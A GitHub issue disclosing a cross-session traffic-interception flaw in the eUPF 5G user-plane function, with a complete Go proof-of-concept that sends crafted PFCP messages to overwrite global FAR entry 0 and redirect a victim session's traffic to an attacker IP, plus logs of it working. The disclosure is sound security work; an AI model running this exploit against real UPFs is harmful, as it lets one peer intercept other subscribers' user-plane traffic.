Skip to content

[Bug]: UPF FAR global ID 0 overwrite enables cross-session user-plane traffic interception #635

@LinZiyuu

Description

@LinZiyuu

Describe the bug

A malicious PFCP peer can delete and overwrite the global FAR entry with ID 0, even when it does not own that FAR.

Because other PFCP sessions may have PDRs that reference the global FAR with ID 0, this allows an attacker to redirect user-plane traffic belonging to a different PFCP session to an attacker-controlled IP address (traffic interception / redirection).

In more detail:

  • eUPF maintains FARs in a global eBPF map indexed by a global FAR ID (e.g. 0), while each PFCP session also has its own per-session FAR IDs.
  • When the attacker sends a SessionModificationRequest with RemoveFAR for a non-existent FAR ID in its own session (e.g. FAR ID 7777), the implementation ends up deleting the global FAR map entry at index 0 and releasing that global ID back to the allocator.
  • A subsequent CreateFAR in the attacker’s session then reuses global FAR ID 0 and stores attacker-controlled forwarding parameters (including remote_ip).
  • The victim session’s PDRs still reference the global FAR with ID 0, so their traffic is now forwarded using the attacker’s FAR (to the attacker-controlled remote_ip).

This is a cross-session / cross-association traffic interception vulnerability: one PFCP peer can interfere with the user plane of another PFCP peer.

To Reproduce
Steps to reproduce the behavior:

  1. Launch eUPF
sudo docker run -d --privileged --network host \
  -v /sys/fs/bpf:/sys/fs/bpf \
  -v /sys/kernel/debug:/sys/kernel/debug:ro \
  -e UPF_INTERFACE_NAME=lo \
  -e UPF_N3_ADDRESS=127.0.0.1 \
  -e UPF_PFCP_ADDRESS="0.0.0.0:8805" \
  -e UPF_PFCP_NODE_ID=127.0.0.1 \
  -e UPF_API_ADDRESS="0.0.0.0:8080" \
  -e UPF_METRICS_ADDRESS="0.0.0.0:9090" \
  --name eupf ghcr.io/edgecomllc/eupf:main
  1. Start a new go project inside a new folder and create a main.go and paste the code below:
mkdir poc && cd poc
go mod init poc
go get github.com/wmnsk/go-pfcp
  1. Create main.go:
package main

import (
	"fmt"
	"io"
	"log"
	"math/rand"
	"net"
	"net/http"
	"strings"
	"time"

	"github.com/wmnsk/go-pfcp/ie"
	"github.com/wmnsk/go-pfcp/message"
)

var rnd = rand.New(rand.NewSource(time.Now().UnixNano()))

func main() {
	pfcpAddr := "127.0.0.1:8805"
	farMapBase := "http://127.0.0.1:8080/api/v1/far_map"

	if err := trafficIntercept(pfcpAddr, farMapBase); err != nil {
		log.Fatalf("traffic-intercept PoC failed: %v", err)
	}
	log.Println("Traffic-intercept PoC sent; FAR entry 0 should now forward to attacker-controlled IP.")
}

func trafficIntercept(pfcpAddr, farMapBase string) error {
	conn, err := dialPfcp(pfcpAddr)
	if err != nil {
		return err
	}
	defer conn.Close()

	// Association setup
	if _, err := sendAssociation(conn, 1); err != nil {
		return err
	}

	// 1) Create victim session with a FAR that will occupy global FAR ID 0.
	victimSEID := uint64(0x8001)
	if _, err := sendSessionWithCustomFar(conn, victimSEID, 1, "10.60.80.1", "172.16.0.10"); err != nil {
		return fmt.Errorf("victim session: %w", err)
	}
	logFarEntry(farMapBase, 0, "Victim FAR (before interception)")

	// 2) Create attacker session with its own FAR (likely global ID 1).
	attackerSEID := uint64(0x9001)
	attackerLocal, err := sendSessionWithCustomFar(conn, attackerSEID, 2, "10.60.90.1", "172.16.0.11")
	if err != nil {
		return fmt.Errorf("attacker session setup: %w", err)
	}

	// 3) Use the bug to delete victim FAR (global ID 0) by sending RemoveFAR
	//    for a FAR ID (7777) that does not exist in this session.
	del := message.NewSessionModificationRequest(0, 0,
		attackerLocal, 1, 0,
		ie.NewFSEID(attackerSEID, net.ParseIP("127.0.0.1"), nil),
		ie.NewRemoveFAR(ie.NewFARID(7777)), // bogus FAR ID
	)
	if _, err := sendAndReceive(conn, del); err != nil {
		return fmt.Errorf("delete victim far: %w", err)
	}

	// 4) Allocate a new FAR for the attacker that forwards to an attacker-controlled IP.
	//    Due to the prior incorrect deletion, this new FAR will occupy global slot 0.
	create := message.NewSessionModificationRequest(0, 0,
		attackerLocal, 1, 0,
		ie.NewFSEID(attackerSEID, net.ParseIP("127.0.0.1"), nil),
		ie.NewCreateFAR(
			ie.NewFARID(5555),
			ie.NewApplyAction(2), // FORW
			ie.NewForwardingParameters(
				ie.NewDestinationInterface(ie.DstInterfaceCore),
				ie.NewOuterHeaderCreation(0x0100, rnd.Uint32(), "203.0.113.55", "", 0, 0, 0),
			),
		),
	)
	if _, err := sendAndReceive(conn, create); err != nil {
		return fmt.Errorf("create attacker far: %w", err)
	}

	time.Sleep(500 * time.Millisecond)
	logFarEntry(farMapBase, 0, "FAR entry 0 after interception (should show attacker IP 203.0.113.55)")
	return nil
}

func sendSessionWithCustomFar(conn *net.UDPConn, seid uint64, farID uint32, ueIP string, remoteIP string) (uint64, error) {
	req := message.NewSessionEstablishmentRequest(0, 0,
		seid, 1, 0,
		ie.NewNodeID("", "", "poc-smf"),
		ie.NewFSEID(seid, net.ParseIP("127.0.0.1"), nil),
		ie.NewCreateFAR(
			ie.NewFARID(farID),
			ie.NewApplyAction(2), // FORW
			ie.NewForwardingParameters(
				ie.NewDestinationInterface(ie.DstInterfaceCore),
				ie.NewOuterHeaderCreation(0x0100, rnd.Uint32(), remoteIP, "", 0, 0, 0),
			),
		),
		ie.NewCreatePDR(
			ie.NewPDRID(1),
			ie.NewPrecedence(255),
			ie.NewPDI(
				ie.NewSourceInterface(ie.SrcInterfaceAccess),
				ie.NewUEIPAddress(2, ueIP, "", 0, 0),
			),
			ie.NewFARID(farID),
		),
	)
	msg, err := sendAndReceive(conn, req)
	if err != nil {
		return 0, err
	}
	resp, ok := msg.(*message.SessionEstablishmentResponse)
	if !ok {
		return 0, fmt.Errorf("unexpected response %T", msg)
	}
	if resp.UPFSEID == nil {
		return 0, fmt.Errorf("response missing UPF SEID")
	}
	fseid, err := resp.UPFSEID.FSEID()
	if err != nil {
		return 0, err
	}
	return fseid.SEID, nil
}

func logFarEntry(base string, id int, msg string) {
	url := fmt.Sprintf("%s/%d", strings.TrimRight(base, "/"), id)
	resp, err := http.Get(url)
	if err != nil {
		log.Printf("%s: request failed: %v", msg, err)
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)
	log.Printf("%s (HTTP %d): %s", msg, resp.StatusCode, strings.TrimSpace(string(body)))
}

func dialPfcp(pfcpAddr string) (*net.UDPConn, error) {
	raddr, err := net.ResolveUDPAddr("udp", pfcpAddr)
	if err != nil {
		return nil, err
	}
	return net.DialUDP("udp", nil, raddr)
}

func sendAssociation(conn *net.UDPConn, seq uint32) (message.Message, error) {
	msg := message.NewAssociationSetupRequest(seq,
		ie.NewNodeID("", "", "poc-smf"),
		ie.NewRecoveryTimeStamp(time.Now()),
		ie.NewUPFunctionFeatures(0, 0, 0),
	)
	return sendAndReceive(conn, msg)
}

func sendMessage(conn *net.UDPConn, msg message.Message) error {
	buf := make([]byte, msg.MarshalLen())
	if err := msg.MarshalTo(buf); err != nil {
		return err
	}
	_, err := conn.Write(buf)
	return err
}

func sendAndReceive(conn *net.UDPConn, msg message.Message) (message.Message, error) {
	if err := sendMessage(conn, msg); err != nil {
		return nil, err
	}
	respBuf := make([]byte, 4096)
	_ = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
	n, _, err := conn.ReadFromUDP(respBuf)
	if err != nil {
		return nil, err
	}
	return message.Parse(respBuf[:n])
}
  1. Run the PoC:
go run main.go -mode traffic-intercept     -pfcp 127.0.0.1:8805     -far-map-url http://127.0.0.1:8080/api/v1/far_map

Expected behavior
When a SessionModificationRequest contains a RemoveFAR for a FAR ID that does not exist in the current PFCP session:

eUPF should either: ignore the RemoveFAR IE, or reject the request with an appropriate cause value.

Logs
Terminal

go run ./cmd/pfcp_poc     -mode traffic-intercept     -pfcp 127.0.0.1:8805     -far-map-url http://127.0.0.1:8080/api/v1/far_map
2025/11/18 20:09:44 Victim FAR (before interception) (HTTP 200): {
    "id": 0,
    "action": 2,
    "outer_header_creation": 1,
    "teid": 2449025857,
    "remote_ip": 167776428,
    "transport_level_marking": 0
}
2025/11/18 20:09:45 FAR entry 0 after interception (should show attacker IP 203.0.113.55) (HTTP 200): {
    "id": 0,
    "action": 2,
    "outer_header_creation": 1,
    "teid": 4011551081,
    "remote_ip": 930152651,
    "transport_level_marking": 0
}
2025/11/18 20:09:45 Traffic-intercept PoC sent; FAR entry 0 should now forward to attacker-controlled IP.

eupf

2025/11/18 12:04:31 INF running on 0.0.0.0:8080
2025/11/18 12:04:31 INF running on 0.0.0.0:9090
2025/11/18 12:09:44 INF Got Association Setup Request from: 127.0.0.1
2025/11/18 12:09:44 INF 
Association Setup Request:
  Node ID: poc-smf
  Recovery Time: 2025-11-18 12:09:44 +0000 UTC

2025/11/18 12:09:44 INF Saving new association: &{ID:poc-smf Addr:127.0.0.1 NextSessionID:1 NextSequenceID:1 Sessions:map[] HeartbeatChannel:0xc0000a63c0 HeartbeatsActive:false Mutex:{state:0 sema:0}}
2025/11/18 12:09:44 INF Got Session Establishment Request from: 127.0.0.1.
2025/11/18 12:09:44 INF 
Session Establishment Request:
  CreatePDR ID: 1 
    FAR ID: 1 
    Source Interface: 0 
    UE IPv4 Address: 10.60.80.1 
  CreateFAR ID: 1 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:256 TEID:2449025857 IPv4Address:172.16.0.10 IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

2025/11/18 12:09:44 INF Saving FAR info to session: 1, {Action:2 OuterHeaderCreation:1 Teid:2449025857 RemoteIP:167776428 TransportLevelMarking:0}
2025/11/18 12:09:44 INF Session Establishment Request from 127.0.0.1 accepted.
[GIN] 2025/11/18 - 12:09:44 | 200 |     500.445µs |       127.0.0.1 | GET      "/api/v1/far_map/0"
2025/11/18 12:09:44 INF Got Session Establishment Request from: 127.0.0.1.
2025/11/18 12:09:44 INF 
Session Establishment Request:
  CreatePDR ID: 1 
    FAR ID: 2 
    Source Interface: 0 
    UE IPv4 Address: 10.60.90.1 
  CreateFAR ID: 2 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:256 TEID:1770572085 IPv4Address:172.16.0.11 IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

2025/11/18 12:09:44 INF Saving FAR info to session: 2, {Action:2 OuterHeaderCreation:1 Teid:1770572085 RemoteIP:184553644 TransportLevelMarking:0}
2025/11/18 12:09:44 INF Session Establishment Request from 127.0.0.1 accepted.
2025/11/18 12:09:44 INF Got Session Modification Request from: 127.0.0.1. 

2025/11/18 12:09:44 INF Finding association for 127.0.0.1
2025/11/18 12:09:44 INF Finding session 3
2025/11/18 12:09:44 INF 
Session Modification Request:
  RemoveFAR ID: 7777 

2025/11/18 12:09:44 INF Removing FAR: 7777
2025/11/18 12:09:44 INF Got Session Modification Request from: 127.0.0.1. 

2025/11/18 12:09:44 INF Finding association for 127.0.0.1
2025/11/18 12:09:44 INF Finding session 3
2025/11/18 12:09:44 INF 
Session Modification Request:
  CreateFAR ID: 5555 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:256 TEID:4011551081 IPv4Address:203.0.113.55 IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

2025/11/18 12:09:44 INF Saving FAR info to session: 5555, {Action:2 OuterHeaderCreation:1 Teid:4011551081 RemoteIP:930152651 TransportLevelMarking:0}
[GIN] 2025/11/18 - 12:09:45 | 200 |      21.039µs |       127.0.0.1 | GET      "/api/v1/far_map/0"

Security impact

A malicious or compromised PFCP peer (e.g. rogue SMF) that can reach the UPF’s PFCP endpoint can:

  • delete and overwrite the global FAR entry with ID 0 that belongs to another PFCP session, and
  • redirect any user-plane traffic whose PDRs reference global FAR ID 0 to an attacker-controlled IP address.

This enables cross-session traffic interception / redirection in multi-tenant or multi-SMF deployments.

Environment (please complete the following information):

  • OS: Ubuntu 24.04
  • 5GC kind and version: None
  • UPF version: a8d774a

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions